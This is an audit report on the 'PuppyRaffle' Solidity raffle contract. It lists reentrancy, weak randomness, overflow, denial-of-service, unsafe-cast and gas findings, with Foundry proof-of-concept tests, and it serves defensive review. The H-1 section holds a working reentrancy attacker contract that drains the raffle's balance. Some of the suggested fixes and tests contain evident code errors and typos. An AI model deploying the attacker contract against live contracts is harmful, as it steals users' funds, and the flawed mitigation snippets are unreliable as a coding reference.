APEX
SECURITY

Puppy Raffle Audit Report

Version 1.0

Austin Patkos

January 28, 2024

Prepared by: APex Lead Auditors: - Austin Patkos

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Austin Patkos makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f
- In Scope:

Scope

```
./src/
# --  PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Findings

Highs

[H-1] Reentrancy attack in `PuppyRaffe::refund` allows entra to drain raffle balance.

Description: The `PuppeRaffle::refund` function does follow the CEI (Checks, Effects, Interactions) and as a result, enables participents ot drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after the making that external call do we up the `PuppyRaffle::players` array

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

@>       players[playerIndex] = address(0);
@>       emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim anotherrefund. They could continue the cycle untill the contract balance is drained.

Impact: All fees payed by the raffle entrants could be stolen by the malicious participipant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function and calls `PuppyRaffle::refund`
3. Attacker Enters the Raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function testReentrancyRefund() public{
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractbalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting attacker contract balance: ",
            startingAttackContractBalance);
        console.log("Starting contract balance:",
            startingContractbalance);

        console.log("Ending attacker contract balance : ", address(
            attackerContract).balance);
        console.log("Ending contract balance :  " , address(puppyRaffle
            ).balance);
    }
```

And this contract as well.

```
    contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee= puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        stealMoney();
    }

    receive() external payable {
        stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRafle::refund` function update the `players` array before making the external call. Additionally, we should move the event emmision up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
```

```
8
9           payable(msg.sender).sendValue(entranceFee);
10  -       players[playerIndex] = address(0);
11  -       emit RaffleRefunded(playerAddress);
12      }
```

Denial of Service attack

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows user to influence or predict winner and influence or predict the winning puppy.

Description Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predicatble number is not a good random nubmer. Malicous users can manipulate these values or know them ahead of time to chose the winner of the raffle themselves.

Note: This additionaly means users coudl front-run this function and call `refund` if they see they are not the winner.

Impact Any user can influence teh winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becoems a gas war as towho wins the raffles.

Proof Of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and that to predict when/how to participate. See the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevrandao). `block.diffuculty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result their address beingused to generate the winner!
3. User can revert their `selectWinner` transaction if they don't like the winer or resulting puppy.

Using on-chain values on randomness see is a well-documented attack vector blockchain space.

Recommended Mitiations: Consider using a cryptographically provable random number generator such as ChainLink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1       uint64 myVar = type(uint64).max;
2       //18446744073709551615
3       myVar = myVar + 1;
4
```

```
5 //myVar will be 0
```

Impact In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress`may not collect the correct amount of fees, leaving fees permanently stuck inthe contract.

Proof of Concept:

1. We have 100 players enter the raffle.
2. We conclude the raffle.
3. Since the total fees are more than what a `uint64` can old without overflowing. The expected fees are more than 10 times less thanthe expected fees.
4. You will not be able to withdraw,due to the link in `PuppyRaffle::withdrawFees()`

```
1     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
          Ther are currently Players active!");
```

Although you could use `selfDestruct` to send ETH to this contract in order for the values to match and withdraw the fees,this is clearly not the intended design of the protocol. At some point there will be too much `balance` in the contract that teh above `require` will be impossible to hit.

Code

```
1   function testTotalFeesCanOverFlow() external {
2         //18_446_744_073_709_551_616  ~18.5 Eth
3         //Total entries should be 100, so 100 eth will go to contract
4
5         //Let's enter 100 players
6         uint256 playersNum = 100;
7
8         address[] memory newPlayers = new address[](playersNum);
9         for(uint256 i = 0; i<playersNum; i++){
10            newPlayers[i] = address(i);
11        }
12        puppyRaffle.enterRaffle{value: entranceFee * newPlayers.length
              }(newPlayers);
13        uint256 expectedTotalFees = ((newPlayers.length * puppyRaffle.
              entranceFee()) * 20) / 100;
14        uint256 duration = puppyRaffle.raffleDuration();
15        vm.warp(block.timestamp + duration);
16        puppyRaffle.selectWinner();
17
18        console.log(puppyRaffle.totalFees());
19        console.log(expectedTotalFees);
20        assertNotEq(puppyRaffle.totalFees(), expectedTotalFees);
21
22    }
```

Recommended Mitigiations: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instad of a `uint64` for `PuppyRaffle::totalFees`.
2. You could also use a `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time of the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    Ther are currently Players active!");
```

There are more attack vectors with that final require, so we recomend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` isa potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through `players` array to check for duplicates. However the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost forplayers who enter right when the raffle stats will be dramatically lower han those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
//@audit DoS Attack
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering,and causing a rush at the start of the raffle to be one ofthe first entrants in the queue.

An attack might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: -1st 100 players: ~6252048 gas -2nd 100 players: ~18068138 gas

This is more than 3x times more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        //Let's enter 100 players

        uint256 playersNum = 100;
        address[] memory newPlayers = new address[](playersNum);
        for(uint256 i = 0; i<playersNum; i++){
            newPlayers[i] = address(i);
        }

        //see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * newPlayers.length
            }(newPlayers);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

        console.log("Gas cost of the first 100 players" , gasUsedFirst)
            ;

        //Second 100 players
        address[] memory newPlayersTwo = new address[](playersNum);
        for(uint256 i = 0; i<playersNum; i++){
            newPlayersTwo[i] = address(i + playersNum);
        }

        //see how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * newPlayersTwo.
            length}(newPlayersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;

        console.log("Gas cost of the second 100 players" ,
            gasUsedSecond);

        assert(gasUsedFirst < gasEndSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate

check prevent the same person from entering multiple times, only the same wallet address.

2. Consdering using a mapping to check for duplicates. This would allow constant time lookup of wehter a user has already entered.

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           usersToRaffleId[newPlayers[i]] = true;
        }

        // Check for duplicates
+       for (uint256 i = 0; i < newPlayers.length; i++){
+           require(usersToRaffleId[i] != raffleID, "PuppyRaffle:
    Already a participant");

-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
        }

        emit RaffleEnter(newPlayers);
    }
.
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;
    }
```

Alterntively, you could use [OpenZeppelin's`EnumerableSet` library] (https://docs.oppenzeppelin.com/contracts/4.x/a

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
```

```
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9  @>       totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

```
8           require(players.length >= 4, "PuppyRaffle: Need at least 4
                players");
9           uint256 winnerIndex =
10              uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
11          address winner = players[winnerIndex];
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-3] Smart contract wallet raffle winners withouth a `receive` or `fallback` will bock the start of a new contest.

Description: In `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However if the winner is a smart contract wallet that rejects the payment, the lottery would not be able to restart.

Non-smart ocntract walletusers could reeneter,but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWInner` functino could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also the winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 Smart contract walelts enter teh lottery without a fallback or receive function. 2. The lottery ends. 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There area few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout so that winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommened)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they hae not entered the raffle.

Description If a player is the `PuppyRaffle::players` array at index 0, this return 0, butaccording to the natspec, it will also return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         //@audit-info use a cached variable for players.length gas
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         //@audit player is at index 0, it'll return 0 and theyh might
              think they are not actie
9         return 0;
10    }
```

Impact: A player at index 0 may incorrectly thinkthey have not entered the raffle, and attempt toenterthe raffle again, wasting gas.

Proof Of Concepts

1. User enters raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered the raffle due to the documentation.

Recommended Mitiations The east recommendation would be to revert if the player is not in the array instead of returning 0.

You could reserve the 0th position for the competiion,but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state varaibles should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: -`PuppyRaffle::raffleDuration` should be `immutable`. -`PuppyRaffle::commonImageUri` should be `constant`. -`PuppyRaffle::rareImageUri` should be `constant`. -`PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variables in a loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas effecient.

```
+   uint256 playerLength = playersLength;
- for (uint256 i = 0; i < players.length - 1; i++) {
+  for (uint256 i = 0; i < playersLength - 1; i++) {
-   for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2]: Using an outdated version of solidity is not recommended.

Please use a newer version like `0.8.18`.

Recommendation: Deploy with any of the following Solidity versions:

0.8.18 The recommendations take into account:

-Risks related to recent releases -Risks of complex code generation changes -Risks of new language features -Risks of known bugs -Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 68
- Found in src/PuppyRaffle.sol Line: 216

[I-4] `PuppyRaffle::selectWinner` should follow CEI

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
- (bool, success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner,tokenId);
+ (bool, success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged.

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are givena nma.e

Examples:

```
uint256 prizePool =(totalAmouuntCollected * 80 ) / 100;
uint256 fee = (totalAmountCollected * 20 ) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events.

[I-7] `PuppleRaffle::_isActivePlayer` is never used and should be removed.